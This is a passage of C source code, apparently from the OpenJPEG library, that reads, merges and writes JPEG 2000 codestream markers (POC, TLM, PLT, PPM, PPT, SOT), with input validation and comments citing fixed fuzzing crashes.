l_chunk_size = 5 + 2 * l_comp_room; l_current_poc_nb = p_header_size / l_chunk_size; l_current_poc_remaining = p_header_size % l_chunk_size; if ((l_current_poc_nb <= 0) || (l_current_poc_remaining != 0)) { opj_event_msg(p_manager, EVT_ERROR, "Error reading POC marker\n"); return OPJ_FALSE; } l_cp = &(p_j2k->m_cp); l_tcp = (p_j2k->m_specific_param.m_decoder.m_state == J2K_STATE_TPH) ? &l_cp->tcps[p_j2k->m_current_tile_number] : p_j2k->m_specific_param.m_decoder.m_default_tcp; l_old_poc_nb = l_tcp->POC ? l_tcp->numpocs + 1 : 0; l_current_poc_nb += l_old_poc_nb; if (l_current_poc_nb >= 32) { opj_event_msg(p_manager, EVT_ERROR, "Too many POCs %d\n", l_current_poc_nb); return OPJ_FALSE; } assert(l_current_poc_nb < 32); /* now poc is in use.*/ l_tcp->POC = 1; l_current_poc = &l_tcp->pocs[l_old_poc_nb]; for (i = l_old_poc_nb; i < l_current_poc_nb; ++i) { opj_read_bytes(p_header_data, &(l_current_poc->resno0), 1); /* RSpoc_i */ ++p_header_data; opj_read_bytes(p_header_data, &(l_current_poc->compno0), l_comp_room); /* CSpoc_i */ p_header_data += l_comp_room; opj_read_bytes(p_header_data, &(l_current_poc->layno1), 2); /* LYEpoc_i */ /* make sure layer end is in acceptable bounds */ l_current_poc->layno1 = opj_uint_min(l_current_poc->layno1, l_tcp->numlayers); p_header_data += 2; opj_read_bytes(p_header_data, &(l_current_poc->resno1), 1); /* REpoc_i */ ++p_header_data; opj_read_bytes(p_header_data, &(l_current_poc->compno1), l_comp_room); /* CEpoc_i */ p_header_data += l_comp_room; opj_read_bytes(p_header_data, &l_tmp, 1); /* Ppoc_i */ ++p_header_data; l_current_poc->prg = (OPJ_PROG_ORDER) l_tmp; /* make sure comp is in acceptable bounds */ l_current_poc->compno1 = opj_uint_min(l_current_poc->compno1, l_nb_comp); ++l_current_poc; } l_tcp->numpocs = l_current_poc_nb - 1; return OPJ_TRUE; } /** * Reads a CRG marker (Component registration) * * @param p_header_data the data contained in the TLM box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the TLM marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_crg(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager ) { OPJ_UINT32 l_nb_comp; /* preconditions */ assert(p_header_data != 00); assert(p_j2k != 00); assert(p_manager != 00); OPJ_UNUSED(p_header_data); l_nb_comp = p_j2k->m_private_image->numcomps; if (p_header_size != l_nb_comp * 4) { opj_event_msg(p_manager, EVT_ERROR, "Error reading CRG marker\n"); return OPJ_FALSE; } /* Do not care of this at the moment since only local variables are set here */ /* for (i = 0; i < l_nb_comp; ++i) { opj_read_bytes(p_header_data,&l_Xcrg_i,2); // Xcrg_i p_header_data+=2; opj_read_bytes(p_header_data,&l_Ycrg_i,2); // Xcrg_i p_header_data+=2; } */ return OPJ_TRUE; } /** * Reads a TLM marker (Tile Length Marker) * * @param p_header_data the data contained in the TLM box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the TLM marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_tlm(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager ) { OPJ_UINT32 l_Ztlm, l_Stlm, l_ST, l_SP, l_tot_num_tp_remaining, l_quotient, l_Ptlm_size; /* preconditions */ assert(p_header_data != 00); assert(p_j2k != 00); assert(p_manager != 00); OPJ_UNUSED(p_j2k); if (p_header_size < 2) { opj_event_msg(p_manager, EVT_ERROR, "Error reading TLM marker\n"); return OPJ_FALSE; } p_header_size -= 2; opj_read_bytes(p_header_data, &l_Ztlm, 1); /* Ztlm */ ++p_header_data; opj_read_bytes(p_header_data, &l_Stlm, 1); /* Stlm */ ++p_header_data; l_ST = ((l_Stlm >> 4) & 0x3); l_SP = (l_Stlm >> 6) & 0x1; l_Ptlm_size = (l_SP + 1) * 2; l_quotient = l_Ptlm_size + l_ST; l_tot_num_tp_remaining = p_header_size % l_quotient; if (l_tot_num_tp_remaining != 0) { opj_event_msg(p_manager, EVT_ERROR, "Error reading TLM marker\n"); return OPJ_FALSE; } /* FIXME Do not care of this at the moment since only local variables are set here */ /* for (i = 0; i < l_tot_num_tp; ++i) { opj_read_bytes(p_header_data,&l_Ttlm_i,l_ST); // Ttlm_i p_header_data += l_ST; opj_read_bytes(p_header_data,&l_Ptlm_i,l_Ptlm_size); // Ptlm_i p_header_data += l_Ptlm_size; }*/ return OPJ_TRUE; } /** * Reads a PLM marker (Packet length, main header marker) * * @param p_header_data the data contained in the TLM box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the TLM marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_plm(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager ) { /* preconditions */ assert(p_header_data != 00); assert(p_j2k != 00); assert(p_manager != 00); OPJ_UNUSED(p_j2k); OPJ_UNUSED(p_header_data); if (p_header_size < 1) { opj_event_msg(p_manager, EVT_ERROR, "Error reading PLM marker\n"); return OPJ_FALSE; } /* Do not care of this at the moment since only local variables are set here */ /* opj_read_bytes(p_header_data,&l_Zplm,1); // Zplm ++p_header_data; --p_header_size; while (p_header_size > 0) { opj_read_bytes(p_header_data,&l_Nplm,1); // Nplm ++p_header_data; p_header_size -= (1+l_Nplm); if (p_header_size < 0) { opj_event_msg(p_manager, EVT_ERROR, "Error reading PLM marker\n"); return false; } for (i = 0; i < l_Nplm; ++i) { opj_read_bytes(p_header_data,&l_tmp,1); // Iplm_ij ++p_header_data; // take only the last seven bytes l_packet_len |= (l_tmp & 0x7f); if (l_tmp & 0x80) { l_packet_len <<= 7; } else { // store packet length and proceed to next packet l_packet_len = 0; } } if (l_packet_len != 0) { opj_event_msg(p_manager, EVT_ERROR, "Error reading PLM marker\n"); return false; } } */ return OPJ_TRUE; } /** * Reads a PLT marker (Packet length, tile-part header) * * @param p_header_data the data contained in the PLT box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the PLT marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_plt(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager ) { OPJ_UINT32 l_Zplt, l_tmp, l_packet_len = 0, i; /* preconditions */ assert(p_header_data != 00); assert(p_j2k != 00); assert(p_manager != 00); OPJ_UNUSED(p_j2k); if (p_header_size < 1) { opj_event_msg(p_manager, EVT_ERROR, "Error reading PLT marker\n"); return OPJ_FALSE; } opj_read_bytes(p_header_data, &l_Zplt, 1); /* Zplt */ ++p_header_data; --p_header_size; for (i = 0; i < p_header_size; ++i) { opj_read_bytes(p_header_data, &l_tmp, 1); /* Iplt_ij */ ++p_header_data; /* take only the last seven bytes */ l_packet_len |= (l_tmp & 0x7f); if (l_tmp & 0x80) { l_packet_len <<= 7; } else { /* store packet length and proceed to next packet */ l_packet_len = 0; } } if (l_packet_len != 0) { opj_event_msg(p_manager, EVT_ERROR, "Error reading PLT marker\n"); return OPJ_FALSE; } return OPJ_TRUE; } /** * Reads a PPM marker (Packed packet headers, main header) * * @param p_header_data the data contained in the POC box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the POC marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_ppm( opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager) { opj_cp_t *l_cp = 00; OPJ_UINT32 l_Z_ppm; /* preconditions */ assert(p_header_data != 00); assert(p_j2k != 00); assert(p_manager != 00); /* We need to have the Z_ppm element + 1 byte of Nppm/Ippm at minimum */ if (p_header_size < 2) { opj_event_msg(p_manager, EVT_ERROR, "Error reading PPM marker\n"); return OPJ_FALSE; } l_cp = &(p_j2k->m_cp); l_cp->ppm = 1; opj_read_bytes(p_header_data, &l_Z_ppm, 1); /* Z_ppm */ ++p_header_data; --p_header_size; /* check allocation needed */ if (l_cp->ppm_markers == NULL) { /* first PPM marker */ OPJ_UINT32 l_newCount = l_Z_ppm + 1U; /* can't overflow, l_Z_ppm is UINT8 */ assert(l_cp->ppm_markers_count == 0U); l_cp->ppm_markers = (opj_ppx *) opj_calloc(l_newCount, sizeof(opj_ppx)); if (l_cp->ppm_markers == NULL) { opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to read PPM marker\n"); return OPJ_FALSE; } l_cp->ppm_markers_count = l_newCount; } else if (l_cp->ppm_markers_count <= l_Z_ppm) { OPJ_UINT32 l_newCount = l_Z_ppm + 1U; /* can't overflow, l_Z_ppm is UINT8 */ opj_ppx *new_ppm_markers; new_ppm_markers = (opj_ppx *) opj_realloc(l_cp->ppm_markers, l_newCount * sizeof(opj_ppx)); if (new_ppm_markers == NULL) { /* clean up to be done on l_cp destruction */ opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to read PPM marker\n"); return OPJ_FALSE; } l_cp->ppm_markers = new_ppm_markers; memset(l_cp->ppm_markers + l_cp->ppm_markers_count, 0, (l_newCount - l_cp->ppm_markers_count) * sizeof(opj_ppx)); l_cp->ppm_markers_count = l_newCount; } if (l_cp->ppm_markers[l_Z_ppm].m_data != NULL) { /* clean up to be done on l_cp destruction */ opj_event_msg(p_manager, EVT_ERROR, "Zppm %u already read\n", l_Z_ppm); return OPJ_FALSE; } l_cp->ppm_markers[l_Z_ppm].m_data = (OPJ_BYTE *) opj_malloc(p_header_size); if (l_cp->ppm_markers[l_Z_ppm].m_data == NULL) { /* clean up to be done on l_cp destruction */ opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to read PPM marker\n"); return OPJ_FALSE; } l_cp->ppm_markers[l_Z_ppm].m_data_size = p_header_size; memcpy(l_cp->ppm_markers[l_Z_ppm].m_data, p_header_data, p_header_size); return OPJ_TRUE; } /** * Merges all PPM markers read (Packed headers, main header) * * @param p_cp main coding parameters. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_merge_ppm(opj_cp_t *p_cp, opj_event_mgr_t * p_manager) { OPJ_UINT32 i, l_ppm_data_size, l_N_ppm_remaining; /* preconditions */ assert(p_cp != 00); assert(p_manager != 00); assert(p_cp->ppm_buffer == NULL); if (p_cp->ppm == 0U) { return OPJ_TRUE; } l_ppm_data_size = 0U; l_N_ppm_remaining = 0U; for (i = 0U; i < p_cp->ppm_markers_count; ++i) { if (p_cp->ppm_markers[i].m_data != NULL) { /* standard doesn't seem to require contiguous Zppm */ OPJ_UINT32 l_N_ppm; OPJ_UINT32 l_data_size = p_cp->ppm_markers[i].m_data_size; const OPJ_BYTE* l_data = p_cp->ppm_markers[i].m_data; if (l_N_ppm_remaining >= l_data_size) { l_N_ppm_remaining -= l_data_size; l_data_size = 0U; } else { l_data += l_N_ppm_remaining; l_data_size -= l_N_ppm_remaining; l_N_ppm_remaining = 0U; } if (l_data_size > 0U) { do { /* read Nppm */ if (l_data_size < 4U) { /* clean up to be done on l_cp destruction */ opj_event_msg(p_manager, EVT_ERROR, "Not enough bytes to read Nppm\n"); return OPJ_FALSE; } opj_read_bytes(l_data, &l_N_ppm, 4); l_data += 4; l_data_size -= 4; l_ppm_data_size += l_N_ppm; /* can't overflow, max 256 markers of max 65536 bytes, that is when PPM markers are not corrupted which is checked elsewhere */ if (l_data_size >= l_N_ppm) { l_data_size -= l_N_ppm; l_data += l_N_ppm; } else { l_N_ppm_remaining = l_N_ppm - l_data_size; l_data_size = 0U; } } while (l_data_size > 0U); } } } if (l_N_ppm_remaining != 0U) { /* clean up to be done on l_cp destruction */ opj_event_msg(p_manager, EVT_ERROR, "Corrupted PPM markers\n"); return OPJ_FALSE; } p_cp->ppm_buffer = (OPJ_BYTE *) opj_malloc(l_ppm_data_size); if (p_cp->ppm_buffer == 00) { opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to read PPM marker\n"); return OPJ_FALSE; } p_cp->ppm_len = l_ppm_data_size; l_ppm_data_size = 0U; l_N_ppm_remaining = 0U; for (i = 0U; i < p_cp->ppm_markers_count; ++i) { if (p_cp->ppm_markers[i].m_data != NULL) { /* standard doesn't seem to require contiguous Zppm */ OPJ_UINT32 l_N_ppm; OPJ_UINT32 l_data_size = p_cp->ppm_markers[i].m_data_size; const OPJ_BYTE* l_data = p_cp->ppm_markers[i].m_data; if (l_N_ppm_remaining >= l_data_size) { memcpy(p_cp->ppm_buffer + l_ppm_data_size, l_data, l_data_size); l_ppm_data_size += l_data_size; l_N_ppm_remaining -= l_data_size; l_data_size = 0U; } else { memcpy(p_cp->ppm_buffer + l_ppm_data_size, l_data, l_N_ppm_remaining); l_ppm_data_size += l_N_ppm_remaining; l_data += l_N_ppm_remaining; l_data_size -= l_N_ppm_remaining; l_N_ppm_remaining = 0U; } if (l_data_size > 0U) { do { /* read Nppm */ if (l_data_size < 4U) { /* clean up to be done on l_cp destruction */ opj_event_msg(p_manager, EVT_ERROR, "Not enough bytes to read Nppm\n"); return OPJ_FALSE; } opj_read_bytes(l_data, &l_N_ppm, 4); l_data += 4; l_data_size -= 4; if (l_data_size >= l_N_ppm) { memcpy(p_cp->ppm_buffer + l_ppm_data_size, l_data, l_N_ppm); l_ppm_data_size += l_N_ppm; l_data_size -= l_N_ppm; l_data += l_N_ppm; } else { memcpy(p_cp->ppm_buffer + l_ppm_data_size, l_data, l_data_size); l_ppm_data_size += l_data_size; l_N_ppm_remaining = l_N_ppm - l_data_size; l_data_size = 0U; } } while (l_data_size > 0U); } opj_free(p_cp->ppm_markers[i].m_data); p_cp->ppm_markers[i].m_data = NULL; p_cp->ppm_markers[i].m_data_size = 0U; } } p_cp->ppm_data = p_cp->ppm_buffer; p_cp->ppm_data_size = p_cp->ppm_len; p_cp->ppm_markers_count = 0U; opj_free(p_cp->ppm_markers); p_cp->ppm_markers = NULL; return OPJ_TRUE; } /** * Reads a PPT marker (Packed packet headers, tile-part header) * * @param p_header_data the data contained in the PPT box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the PPT marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_ppt(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager ) { opj_cp_t *l_cp = 00; opj_tcp_t *l_tcp = 00; OPJ_UINT32 l_Z_ppt; /* preconditions */ assert(p_header_data != 00); assert(p_j2k != 00); assert(p_manager != 00); /* We need to have the Z_ppt element + 1 byte of Ippt at minimum */ if (p_header_size < 2) { opj_event_msg(p_manager, EVT_ERROR, "Error reading PPT marker\n"); return OPJ_FALSE; } l_cp = &(p_j2k->m_cp); if (l_cp->ppm) { opj_event_msg(p_manager, EVT_ERROR, "Error reading PPT marker: packet header have been previously found in the main header (PPM marker).\n"); return OPJ_FALSE; } l_tcp = &(l_cp->tcps[p_j2k->m_current_tile_number]); l_tcp->ppt = 1; opj_read_bytes(p_header_data, &l_Z_ppt, 1); /* Z_ppt */ ++p_header_data; --p_header_size; /* check allocation needed */ if (l_tcp->ppt_markers == NULL) { /* first PPT marker */ OPJ_UINT32 l_newCount = l_Z_ppt + 1U; /* can't overflow, l_Z_ppt is UINT8 */ assert(l_tcp->ppt_markers_count == 0U); l_tcp->ppt_markers = (opj_ppx *) opj_calloc(l_newCount, sizeof(opj_ppx)); if (l_tcp->ppt_markers == NULL) { opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to read PPT marker\n"); return OPJ_FALSE; } l_tcp->ppt_markers_count = l_newCount; } else if (l_tcp->ppt_markers_count <= l_Z_ppt) { OPJ_UINT32 l_newCount = l_Z_ppt + 1U; /* can't overflow, l_Z_ppt is UINT8 */ opj_ppx *new_ppt_markers; new_ppt_markers = (opj_ppx *) opj_realloc(l_tcp->ppt_markers, l_newCount * sizeof(opj_ppx)); if (new_ppt_markers == NULL) { /* clean up to be done on l_tcp destruction */ opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to read PPT marker\n"); return OPJ_FALSE; } l_tcp->ppt_markers = new_ppt_markers; memset(l_tcp->ppt_markers + l_tcp->ppt_markers_count, 0, (l_newCount - l_tcp->ppt_markers_count) * sizeof(opj_ppx)); l_tcp->ppt_markers_count = l_newCount; } if (l_tcp->ppt_markers[l_Z_ppt].m_data != NULL) { /* clean up to be done on l_tcp destruction */ opj_event_msg(p_manager, EVT_ERROR, "Zppt %u already read\n", l_Z_ppt); return OPJ_FALSE; } l_tcp->ppt_markers[l_Z_ppt].m_data = (OPJ_BYTE *) opj_malloc(p_header_size); if (l_tcp->ppt_markers[l_Z_ppt].m_data == NULL) { /* clean up to be done on l_tcp destruction */ opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to read PPT marker\n"); return OPJ_FALSE; } l_tcp->ppt_markers[l_Z_ppt].m_data_size = p_header_size; memcpy(l_tcp->ppt_markers[l_Z_ppt].m_data, p_header_data, p_header_size); return OPJ_TRUE; } /** * Merges all PPT markers read (Packed packet headers, tile-part header) * * @param p_tcp the tile. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_merge_ppt(opj_tcp_t *p_tcp, opj_event_mgr_t * p_manager) { OPJ_UINT32 i, l_ppt_data_size; /* preconditions */ assert(p_tcp != 00); assert(p_manager != 00); assert(p_tcp->ppt_buffer == NULL); if (p_tcp->ppt == 0U) { return OPJ_TRUE; } l_ppt_data_size = 0U; for (i = 0U; i < p_tcp->ppt_markers_count; ++i) { l_ppt_data_size += p_tcp->ppt_markers[i].m_data_size; /* can't overflow, max 256 markers of max 65536 bytes */ } p_tcp->ppt_buffer = (OPJ_BYTE *) opj_malloc(l_ppt_data_size); if (p_tcp->ppt_buffer == 00) { opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to read PPT marker\n"); return OPJ_FALSE; } p_tcp->ppt_len = l_ppt_data_size; l_ppt_data_size = 0U; for (i = 0U; i < p_tcp->ppt_markers_count; ++i) { if (p_tcp->ppt_markers[i].m_data != NULL) { /* standard doesn't seem to require contiguous Zppt */ memcpy(p_tcp->ppt_buffer + l_ppt_data_size, p_tcp->ppt_markers[i].m_data, p_tcp->ppt_markers[i].m_data_size); l_ppt_data_size += p_tcp->ppt_markers[i].m_data_size; /* can't overflow, max 256 markers of max 65536 bytes */ opj_free(p_tcp->ppt_markers[i].m_data); p_tcp->ppt_markers[i].m_data = NULL; p_tcp->ppt_markers[i].m_data_size = 0U; } } p_tcp->ppt_markers_count = 0U; opj_free(p_tcp->ppt_markers); p_tcp->ppt_markers = NULL; p_tcp->ppt_data = p_tcp->ppt_buffer; p_tcp->ppt_data_size = p_tcp->ppt_len; return OPJ_TRUE; } static OPJ_BOOL opj_j2k_write_tlm(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager ) { OPJ_BYTE * l_current_data = 00; OPJ_UINT32 l_tlm_size; /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_stream != 00); l_tlm_size = 6 + (5 * p_j2k->m_specific_param.m_encoder.m_total_tile_parts); if (l_tlm_size > p_j2k->m_specific_param.m_encoder.m_header_tile_data_size) { OPJ_BYTE *new_header_tile_data = (OPJ_BYTE *) opj_realloc( p_j2k->m_specific_param.m_encoder.m_header_tile_data, l_tlm_size); if (! new_header_tile_data) { opj_free(p_j2k->m_specific_param.m_encoder.m_header_tile_data); p_j2k->m_specific_param.m_encoder.m_header_tile_data = NULL; p_j2k->m_specific_param.m_encoder.m_header_tile_data_size = 0; opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to write TLM marker\n"); return OPJ_FALSE; } p_j2k->m_specific_param.m_encoder.m_header_tile_data = new_header_tile_data; p_j2k->m_specific_param.m_encoder.m_header_tile_data_size = l_tlm_size; } l_current_data = p_j2k->m_specific_param.m_encoder.m_header_tile_data; /* change the way data is written to avoid seeking if possible */ /* TODO */ p_j2k->m_specific_param.m_encoder.m_tlm_start = opj_stream_tell(p_stream); opj_write_bytes(l_current_data, J2K_MS_TLM, 2); /* TLM */ l_current_data += 2; opj_write_bytes(l_current_data, l_tlm_size - 2, 2); /* Lpoc */ l_current_data += 2; opj_write_bytes(l_current_data, 0, 1); /* Ztlm=0*/ ++l_current_data; opj_write_bytes(l_current_data, 0x50, 1); /* Stlm ST=1(8bits-255 tiles max),SP=1(Ptlm=32bits) */ ++l_current_data; /* do nothing on the 5 * l_j2k->m_specific_param.m_encoder.m_total_tile_parts remaining data */ if (opj_stream_write_data(p_stream, p_j2k->m_specific_param.m_encoder.m_header_tile_data, l_tlm_size, p_manager) != l_tlm_size) { return OPJ_FALSE; } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_write_sot(opj_j2k_t *p_j2k, OPJ_BYTE * p_data, OPJ_UINT32 p_total_data_size, OPJ_UINT32 * p_data_written, const opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager ) { /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_stream != 00); OPJ_UNUSED(p_stream); OPJ_UNUSED(p_manager); if (p_total_data_size < 12) { opj_event_msg(p_manager, EVT_ERROR, "Not enough bytes in output buffer to write SOT marker\n"); return OPJ_FALSE; } opj_write_bytes(p_data, J2K_MS_SOT, 2); /* SOT */ p_data += 2; opj_write_bytes(p_data, 10, 2); /* Lsot */ p_data += 2; opj_write_bytes(p_data, p_j2k->m_current_tile_number, 2); /* Isot */ p_data += 2; /* Psot */ p_data += 4; opj_write_bytes(p_data, p_j2k->m_specific_param.m_encoder.m_current_tile_part_number, 1); /* TPsot */ ++p_data; opj_write_bytes(p_data, p_j2k->m_cp.tcps[p_j2k->m_current_tile_number].m_nb_tile_parts, 1); /* TNsot */ ++p_data; /* UniPG>> */ #ifdef USE_JPWL /* update markers struct */ /* OPJ_BOOL res = j2k_add_marker(p_j2k->cstr_info, J2K_MS_SOT, p_j2k->sot_start, len + 2); */ assert(0 && "TODO"); #endif /* USE_JPWL */ * p_data_written = 12; return OPJ_TRUE; } static OPJ_BOOL opj_j2k_get_sot_values(OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, OPJ_UINT32* p_tile_no, OPJ_UINT32* p_tot_len, OPJ_UINT32* p_current_part, OPJ_UINT32* p_num_parts, opj_event_mgr_t * p_manager) { /* preconditions */ assert(p_header_data != 00); assert(p_manager != 00); /* Size of this marker is fixed = 12 (we have already read marker and its size)*/ if (p_header_size != 8) { opj_event_msg(p_manager, EVT_ERROR, "Error reading SOT marker\n"); return OPJ_FALSE; } opj_read_bytes(p_header_data, p_tile_no, 2); /* Isot */ p_header_data += 2; opj_read_bytes(p_header_data, p_tot_len, 4); /* Psot */ p_header_data += 4; opj_read_bytes(p_header_data, p_current_part, 1); /* TPsot */ ++p_header_data; opj_read_bytes(p_header_data, p_num_parts, 1); /* TNsot */ ++p_header_data; return OPJ_TRUE; } static OPJ_BOOL opj_j2k_read_sot(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager) { opj_cp_t *l_cp = 00; opj_tcp_t *l_tcp = 00; OPJ_UINT32 l_tot_len, l_num_parts = 0; OPJ_UINT32 l_current_part; OPJ_UINT32 l_tile_x, l_tile_y; /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); if (! opj_j2k_get_sot_values(p_header_data, p_header_size, &(p_j2k->m_current_tile_number), &l_tot_len, &l_current_part, &l_num_parts, p_manager)) { opj_event_msg(p_manager, EVT_ERROR, "Error reading SOT marker\n"); return OPJ_FALSE; } l_cp = &(p_j2k->m_cp); /* testcase 2.pdf.SIGFPE.706.1112 */ if (p_j2k->m_current_tile_number >= l_cp->tw * l_cp->th) { opj_event_msg(p_manager, EVT_ERROR, "Invalid tile number %d\n", p_j2k->m_current_tile_number); return OPJ_FALSE; } l_tcp = &l_cp->tcps[p_j2k->m_current_tile_number]; l_tile_x = p_j2k->m_current_tile_number % l_cp->tw; l_tile_y = p_j2k->m_current_tile_number / l_cp->tw; /* Fixes issue with id_000020,sig_06,src_001958,op_flip4,pos_149 */ /* of https://github.com/uclouvain/openjpeg/issues/939 */ /* We must avoid reading twice the same tile part number for a given tile */ /* so as to avoid various issues, like opj_j2k_merge_ppt being called */ /* several times. */ /* ISO 15444-1 A.4.2 Start of tile-part (SOT) mandates that tile parts */ /* should appear in increasing order. */ if (l_tcp->m_current_tile_part_number + 1 != (OPJ_INT32)l_current_part) { opj_event_msg(p_manager, EVT_ERROR, "Invalid tile part index for tile number %d. " "Got %d, expected %d\n", p_j2k->m_current_tile_number, l_current_part, l_tcp->m_current_tile_part_number + 1); return OPJ_FALSE; } ++ l_tcp->m_current_tile_part_number; #ifdef USE_JPWL if (l_cp->correct) { OPJ_UINT32 tileno = p_j2k->m_current_tile_number; static OPJ_UINT32 backup_tileno = 0; /* tileno is negative or larger than the number of tiles!!! */ if (tileno > (l_cp->tw * l_cp->th)) { opj_event_msg(p_manager, EVT_ERROR, "JPWL: bad tile number (%d out of a maximum of %d)\n", tileno, (l_cp->tw * l_cp->th)); if (!JPWL_ASSUME) { opj_event_msg(p_manager, EVT_ERROR, "JPWL: giving up\n"); return OPJ_FALSE; } /* we try to correct */ tileno = backup_tileno; opj_event_msg(p_manager, EVT_WARNING, "- trying to adjust this\n" "- setting tile number to %d\n", tileno); } /* keep your private count of tiles */ backup_tileno++; }; #endif /* USE_JPWL */ /* look for the tile in the list of already processed tile (in parts). */ /* Optimization possible here with a more complex data structure and with the removing of tiles */ /* since the time taken by this function can only grow at the time */ /* PSot should be equal to zero or >=14 or <= 2^32-1 */ if ((l_tot_len != 0) && (l_tot_len < 14)) { if (l_tot_len == 12) { /* MSD: Special case for the PHR data which are read by kakadu*/ opj_event_msg(p_manager, EVT_WARNING, "Empty SOT marker detected: Psot=%d.\n", l_tot_len); } else { opj_event_msg(p_manager, EVT_ERROR, "Psot value is not correct regards to the JPEG2000 norm: %d.\n", l_tot_len); return OPJ_FALSE; } } #ifdef USE_JPWL if (l_cp->correct) { /* totlen is negative or larger than the bytes left!!! */ if (/*(l_tot_len < 0) ||*/ (l_tot_len > p_header_size)) { /* FIXME it seems correct; for info in V1 -> (p_stream_numbytesleft(p_stream) + 8))) { */ opj_event_msg(p_manager, EVT_ERROR, "JPWL: bad tile byte size (%d bytes against %d bytes left)\n", l_tot_len, p_header_size); /* FIXME it seems correct; for info in V1 -> p_stream_numbytesleft(p_stream) + 8); */ if (!JPWL_ASSUME) { opj_event_msg(p_manager, EVT_ERROR, "JPWL: giving up\n"); return OPJ_FALSE; } /* we try to correct */ l_tot_len = 0; opj_event_msg(p_manager, EVT_WARNING, "- trying to adjust this\n" "- setting Psot to %d => assuming it is the last tile\n", l_tot_len); } }; #endif /* USE_JPWL */ /* Ref A.4.2: Psot could be equal zero if it is the last tile-part of the codestream.*/ if (!l_tot_len) { opj_event_msg(p_manager, EVT_INFO, "Psot value of the current tile-part is equal to zero, " "we assuming it is the last tile-part of the codestream.\n"); p_j2k->m_specific_param.m_decoder.m_last_tile_part = 1; } if (l_tcp->m_nb_tile_parts != 0 && l_current_part >= l_tcp->m_nb_tile_parts) { /* Fixes https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=2851 */ opj_event_msg(p_manager, EVT_ERROR, "In SOT marker, TPSot (%d) is not valid regards to the previous " "number of tile-part (%d), giving up\n", l_current_part, l_tcp->m_nb_tile_parts); p_j2k->m_specific_param.m_decoder.m_last_tile_part = 1; return OPJ_FALSE; } if (l_num_parts != 0) { /* Number of tile-part header is provided by this tile-part header */ l_num_parts += p_j2k->m_specific_param.m_decoder.m_nb_tile_parts_correction; /* Useful to manage the case of textGBR.jp2 file because two values of TNSot are allowed: the correct numbers of * tile-parts for that tile and zero (A.4.2 of 15444-1 : 2002). */ if (l_tcp->m_nb_tile_parts) { if (l_current_part >= l_tcp->m_nb_tile_parts) { opj_event_msg(p_manager, EVT_ERROR, "In SOT marker, TPSot (%d) is not valid regards to the current " "number of tile-part (%d), giving up\n", l_current_part, l_tcp->m_nb_tile_parts); p_j2k->m_specific_param.m_decoder.m_last_tile_part = 1; return OPJ_FALSE; } } if (l_current_part >= l_num_parts) { /* testcase 451.pdf.SIGSEGV.ce9.3723 */ opj_event_msg(p_manager, EVT_ERROR, "In SOT marker, TPSot (%d) is not valid regards to the current " "number of tile-part (header) (%d), giving up\n", l_current_part, l_num_parts); p_j2k->m_specific_param.m_decoder.m_last_tile_part = 1; return OPJ_FALSE; } l_tcp->m_nb_tile_parts = l_num_parts; } /* If know the number of tile part header we will check if we didn't read the last*/ if (l_tcp->m_nb_tile_parts) { if (l_tcp->m_nb_tile_parts == (l_current_part + 1)) { p_j2k->m_specific_param.m_decoder.m_can_decode = 1; /* Process the last tile-part header*/ } } if (!p_j2k->m_specific_param.m_decoder.m_last_tile_part) { /* Keep the size of data to skip after this marker */ p_j2k->m_specific_param.m_decoder.m_sot_length = l_tot_len - 12; /* SOT_marker_size = 12 */ } else { /* FIXME: need to be computed from the number of bytes remaining in the codestream */ p_j2k->m_specific_param.m_decoder.m_sot_length = 0; } p_j2k->m_specific_param.m_decoder.m_state = J2K_STATE_TPH; /* Check if the current tile is outside the area we want decode or not corresponding to the tile index*/ if (p_j2k->m_specific_param.m_decoder.m_tile_ind_to_dec == -1) { p_j2k->m_specific_param.m_decoder.m_skip_data = (l_tile_x < p_j2k->m_specific_param.m_decoder.m_start_tile_x) || (l_tile_x >= p_j2k->m_specific_param.m_decoder.m_end_tile_x) || (l_tile_y < p_j2k->m_specific_param.m_decoder.m_start_tile_y) || (l_tile_y >= 